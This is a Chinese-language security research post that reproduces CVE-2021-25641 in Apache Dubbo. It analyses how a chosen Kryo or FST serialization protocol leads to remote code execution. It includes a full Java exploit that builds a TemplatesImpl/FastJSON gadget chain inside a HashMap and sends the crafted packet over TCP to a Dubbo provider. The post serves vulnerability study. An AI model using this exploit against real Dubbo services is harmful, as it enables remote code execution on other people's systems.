0 前言
本篇是Dubbo反序列化安全問題的學習和研究第二篇,來看看Dubbo2.x下,由於dubbo的資料包協議設計安全問題,導致攻擊者可以選定危險的反序列化協議從而實現RCE,復現漏洞為CVE-2021-25641 Apache Dubbo協議繞過漏洞
1 Dubbo的協議設計
由於Dubbo可以支援很多型別的反序列化協議,以滿足不同系統對RPC的需求,比如
- 跨語言的序列化協議:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
- 針對Java語言的序列化方式:Kryo,FST
- 基於Json文字形式的反序列化方式:Json、Gson
Dubbo中對支援的協議做了一個編號,每個序列化協議都有一個對應的編號,以便在獲取TCP流量後,根據編號選擇相應的反序列化方法,因此這就是Dubbo支援這麼多序列化協議的祕密,但同時也是危險所在。在org.apache.dubbo.common.serialize.Constants
中可見每種序列化協議的編號
而在Dubbo的RPC通訊時,對流量的規定最前方為header,而header中通過指定SerializationID,確定客戶端和服務提供端通訊過程使用的序列化協議。Dubbo通訊的具體資料包規定如下圖所示
雖然Dubbo的provider預設使用hessian2協議,但我們可以自由的修改SerializationID,選定危險的(反)序列化協議,例如kryo和fst。
2 Dubbo中的kryo序列化協議觸發點
先來複現CVE-2021-25641,根據上一篇文章的步驟(https://www.cnblogs.com/bitterz/p/15526206.html),安裝zookeeper和dubbo-samples,用idea開啟dubbo-samples-api,然後修改其中的pom.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
主要是使dubbo版本<=2.7.3,直接上程式碼,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]
package com.bitterz.dubbo;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstSerialization;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.util.HashMap;
import java.util.HashSet;
public class FstAndKryoGadget {
// Customize URL for remote targets
public static String DUBBO_HOST_NAME = "localhost";
public static int DUBBO_HOST_PORT = 20880;
//Exploit variant - comment to switch exploit variants
public static String EXPLOIT_VARIANT = "Kryo";
// public static String EXPLOIT_VARIANT = "FST";
// Magic header from ExchangeCodec
protected static final short MAGIC = (short) 0xdabb;
protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
// Message flags from ExchangeCodec
protected static final byte FLAG_REQUEST = (byte) 0x80;
protected static final byte FLAG_TWOWAY = (byte) 0x40;
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
member.setAccessible(true);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = new ClassPool(true);
CtClass evilClass = pool.makeClass("EvilClass");
evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 讓dubbo provider端報錯顯示呼叫鏈,或者彈計算器
evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClassBytes = evilClass.toBytecode();
// 構建templates關鍵屬性,特別是_bytecodes
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// Dubbo自帶fastJson解析器,且這種情況下會自動呼叫物件的getter方法,從而觸發TemplatesImpl.getOutputProperties()
JSONObject jo = new JSONObject();
jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
// 藉助Xstring.equals呼叫到JSON.toString方法
XString x = new XString("HEYO");
Object v1 = new HotSwappableTargetSource(jo);
Object v2 = new HotSwappableTargetSource(x);
// 取消下面三行註釋,增加new hashMap的註釋,並將後方objectOutput.writeObject(hashMap)修改為hashSet,從而替換呼叫鏈
// HashSet hashSet = new HashSet();
// Field m = getField(HashSet.class, "map");
// HashMap hashMap = (HashMap) m.get(hashSet);
HashMap<Object, Object> hashMap = new HashMap<>();
// 反射修改hashMap中的屬性,讓其儲存v1 和 v2,避免本地呼叫hashMap.put觸發payload
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(hashMap, "table", tbl);
// 開始準備位元組流
ByteArrayOutputStream bos = new ByteArrayOutputStream();
// 選擇FST或者Kryo協議進行序列化
Serialization s;
ObjectOutput objectOutput;
switch(EXPLOIT_VARIANT) {
case "FST":
s = new FstSerialization();
objectOutput = new FstObjectOutput(bos);
break;
case "Kryo":
default:
s = new KryoSerialization();
objectOutput = new KryoObjectOutput(bos);
break;
}
// 0xc2 is Hessian2 + two-way + Request serialization
// Kryo | two-way | Request is 0xc8 on third byte
// FST | two-way | Request is 0xc9 on third byte
// 組裝資料包的頭部
byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
bos.write(header);
// 組裝資料包的內容
RpcInvocation ri = new RpcInvocation();
ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
//ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// 需要根據dubbo存在的服務新增
ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
// Strings need only satisfy "readUTF" calls until "readObject" is reached
// 下面四個隨便輸入,無所謂
objectOutput.writeUTF("2.0.1");
objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
objectOutput.writeUTF("0.1.0");
objectOutput.writeUTF("sayello");
// 不能隨便輸入
objectOutput.writeUTF("Ljava/lang/String;"); //*/
// 序列化惡意物件
objectOutput.writeObject(hashMap);
objectOutput.writeObject(ri.getAttachments());
objectOutput.flushBuffer();
byte[] payload = bos.toByteArray();
int len = payload.length - header.length;
Bytes.int2bytes(len, payload, 12);
// 將資料包用十六進位制輸出
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println();
}
// 將資料包轉換成String輸出
System.out.println();
System.out.println(new String(payload));
// 使用TCP傳送payload
Socket pingSocket = null;
OutputStream out = null;
try {
pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
out = pingSocket.getOutputStream();
} catch (IOException e) {
return;
}
out.write(payload);
out.flush();
out.close();
pingSocket.close();
System.out.println("Sent!");
}
}
註釋給的比較多了,就不詳細展開Templates.getOutputProperties()和fastJson自動呼叫目標getter方法的部分了(其實用報錯的的方法可以在provider端看到全部呼叫鏈)。執行程式碼,攻擊dubbo provider後,執行前面的程式碼new java.io.IOException().printStackTrace();
,效果如下
從呼叫鏈來看,kryo反序列化時,也是針對不同的物件型別使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一樣的操作,呼叫map.put方法,來看看原始碼:
- com.esotericsoftware.kryo.serializers.MapSerializer#read
省略了一部分程式碼,只關注核心部分,在for迴圈中,不斷反序列化獲取key和value,再使用map.put還原物件,而這個map會根據傳過來的型別自動建立,也就是說,我們發到provider的HashMap類,在provider中建立了一個空的HashMap物件,也就是這裡的map,而後呼叫HashMap.put方法放入key-value。
在dubbo provider端,給map.put處打斷點,進入除錯,在map.put處跟進,可見經典的HashMap.put->HashMap.putVal->key.equals(k)(注意此時key和k是HotSwappableTargetSource類的不同例項物件,結合前面的程式碼,其中key=v2,k=v1,v1.target=XString)
也就是,HotSwappableTargetSource.equals()
由於java中處理&&判斷時,如果&&前面的條件結果為false,則不會執行&&符號後面的語句。此時變數other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以執行&&後面的語句。此時結合前面的程式碼this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此呼叫的時XString.equals(jo),跟進XString.equals方法
obj2就是我們構造的程式碼中的JSONObject物件,此時呼叫JSONObject.toString()方法,進一步跟進,會呼叫到toJSONString方法
而fastjson的反序列化過程,會自動呼叫反序列化目標類的所有getter方法,即呼叫到TemplatesImpl.getOutputProperties方法,從而造成任意程式碼執行。
因此kryo序列化協議的危險觸發點實際上還是來自於Map型別的反序列化會用到Map.put方法,從而呼叫到equals、hashCode等方法造成RCE。
3 Dubbo中的fst序列化協議觸發點
3.1 fst復現
原始碼比較多就不一步一步說了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput
的readObject方法,跟進其具體實現方法,到達org.nustaq.serialization.FSTObjectInput
的readObject方法,再進一步跟進可以看到fst也會根據反序列化物件型別選擇反序列化器,並呼叫該反序列化器的instantiate方法,看下截圖中的程式碼
注意這個FSTObjectSerializer類,這是一個介面,看看它的具體實現有哪些
FST跟前面的kryo、hessian2序列化協議差不多,針對不同的型別,在反序列化時通過不同的反序列化器還原出物件。FST協議對Map顯然也用了專門的反序列化器,跟進org.nustaq.serialization.serializers.FSTMapSerializer
中的instantiate方法
這程式碼一看就能抓住重點,for迴圈中不斷反序列化還原出key和value,再用map.put將key和value還原,顯然也時HashMap的觸發鏈,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc嘗試了一下,發現並沒有彈出計算器,又從provider端在上方的程式碼中除錯了一下,發現FST處理Templates物件時,會呼叫其readObject方法進行還原
上面可以看到provider端並沒有還原出_bytecodes屬性,不知道具體原因是啥,最後FST序列化協議在Dubbo中的漏洞poc沒有復現出來。
3. 2 思路梳理
後面仔細了一下CVE-2021-25641提交者寫的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/
裡面提到還有不需要fastjson的poc,而且可利用版本更多
具體確認了一下,之所以利用有fastjson達到rce,是因為dubbo<=2.7.3時,fastjson的版本<=1.2.46,那擴充套件一下的話,還能用通用payload打。
圖中說的不依賴fastjson的poc攻擊版本更多,但作者沒有公開這個poc,自己動手挖了一下,沒有發現可以在equals、hashCode、toString方法後面繼續接的類(排除fastjson的情況下),待日後大佬們出poc的時候再回來補充一下吧
4 總結
CVE-2021-25641這哥漏洞的攻擊性挺強的呀,只要找到provider,在2.7.x這麼高版本的情況下都能反序列化攻擊,但目前看到的poc都依賴fastjson,祈求師傅們分析一下不依賴fastjson的poc學習一下:)
dubbo 2.x版本為了滿足自動化匹配多種序列化協議,設計了dubbo資料包協議,結果其設計缺乏安全驗證,產生了如此危險的漏洞。